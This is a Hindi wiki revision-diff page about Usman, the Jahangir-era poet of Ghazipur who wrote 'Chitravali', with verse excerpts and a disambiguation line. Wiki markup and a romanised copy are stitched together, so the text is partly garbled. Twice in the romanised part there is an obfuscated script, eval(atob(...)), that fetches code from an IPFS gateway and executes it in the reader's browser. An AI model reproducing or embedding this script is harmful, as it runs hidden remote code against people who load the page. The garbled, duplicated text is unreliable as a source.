Difference between revisions of "उसमान"

भारत डिस्कवरी प्रस्तुति
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उसमान [[जहाँगीर]] के समय में वर्तमान थे और [[गाजीपुर]] के रहने वाले थे। इनके पिता का नाम 'शेख हुसैन' था और ये पाँच भाई थे। और चारों भाइयों के नाम थे शेख अजीज, शेख मानुल्लाह, शेख फैजुल्लाह, शेख हसन। इन्होंने अपना उपनाम 'मान' लिखा है।
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{{बहुविकल्प|बहुविकल्पी शब्द=उसमान|लेख का नाम=उसमान (बहुविकल्पी)}}
  
*उसमान शाह [[निज़ामुद्दीन चिश्ती]] की शिष्य परंपरा में 'हाजी बाबा' के शिष्य थे। उसमान ने सन् 1022 हिजरी अर्थात् 1613 ईसवी में '[[चित्रावली]]' नाम की पुस्तक लिखी। पुस्तक के आरंभ में कवि ने स्तुति के उपरांत पैगंबर और चार खलीफों की, [[जहाँगीर|बादशाह जहाँगीर]] की तथा शाह निजामुद्दीन और हाजी बाबा की प्रशंसा लिखी है। उसके आगे गाजीपुर नगर का वर्णन करके कवि ने अपना परिचय देते हुए लिखा है कि -
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'''उसमान''' [[मुहम्मद|मोहम्मद]] के चार प्रधान सखाओं में से एक का नाम था।<ref>{{पुस्तक संदर्भ |पुस्तक का नाम=पौराणिक कोश|लेखक=राणा प्रसाद शर्मा|अनुवादक= |आलोचक= |प्रकाशक=ज्ञानमण्डल लिमिटेड, वाराणसी|संकलन= भारत डिस्कवरी पुस्तकालय|संपादन= |पृष्ठ संख्या=562, परिशिष्ट 'घ'|url=}}</ref>
<poem>आदि हुता विधि माथे लिखा । अच्छर चारि पढ़ै हम सिखा।
 
देखत जगत चला सब जाई । एक वचन पै अमर रहाई।
 
वचन समान सुधा जग नाहीं । जेहि पाए कवि अमर रहाहीं।
 
मोहूँ चाउ उठा पुनि हीए । होउँ अमर यह अमरित पीए</poem>
 
*कवि ने 'योगी ढूँढ़न खंड' में [[काबुल]], बदख्शाँ, खुरासन, [[रूस]], साम, [[मिस्र]], इस्तंबोल, [[गुजरात]], सिंहलद्वीप आदि अनेक देशों का उल्लेख किया है। सबसे विलक्षण बात है जोगियों का [[अंग्रेज़|अंग्रेजों]] के द्वीप में पहुँचने का भी वर्णन किया है -
 
<poem>बलंदीप देखा अंगरेजा । तहाँ जाइ जेहि कठिन करेजा
 
ऊँच नीच धान संपत्ति हेरा । मद बराह भोजन जिन्ह केरा</poem>
 
*कवि ने इस रचना में [[जायसी]] का पूरा अनुकरण किया है। जो जो विषय जायसी ने अपनी पुस्तक में रखे हैं उन विषयों पर उसमान ने भी कुछ कहा है।
 
*कहीं कहीं तो शब्द और वाक्य विन्यास भी वही हैं। पर विशेषता यह है कि कहानी बिल्कुल कवि की कल्पित है, जैसा कि कवि ने स्वयं कहा है
 
<poem>कथा एक मैं हिए उपाई। कहत मीठ और सुनत सोहाई</poem>
 
  
  
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{{seealso|अल्लाह|क़ुरआन|अज़ान|रोज़ा|मुहम्मद }}
  
 
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==टीका टिप्पणी और संदर्भ==
 
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==संबंधित लेख==
 
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{{इस्लाम धर्म}}
[[Category:कवि]]  
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chitr:Disamb2.jpg usaman ek bahuvikalpi shabd hai any arthoan ke lie dekhean:- usaman (bahuvikalpi)

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

usaman mohammad ke char pradhan sakhaoan mean se ek ka nam tha.[1]


  1. REDIRECTsaancha:inhean bhi dekhean


panne ki pragati avastha
adhar
prarambhik
madhyamik
poornata
shodh

tika tippani aur sandarbh

  1. pauranik kosh |lekhak: rana prasad sharma |prakashak: jnanamandal limited, varanasi |sankalan: bharat diskavari pustakalay |prishth sankhya: 562, parishisht 'gh' |

sanbandhit lekh

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>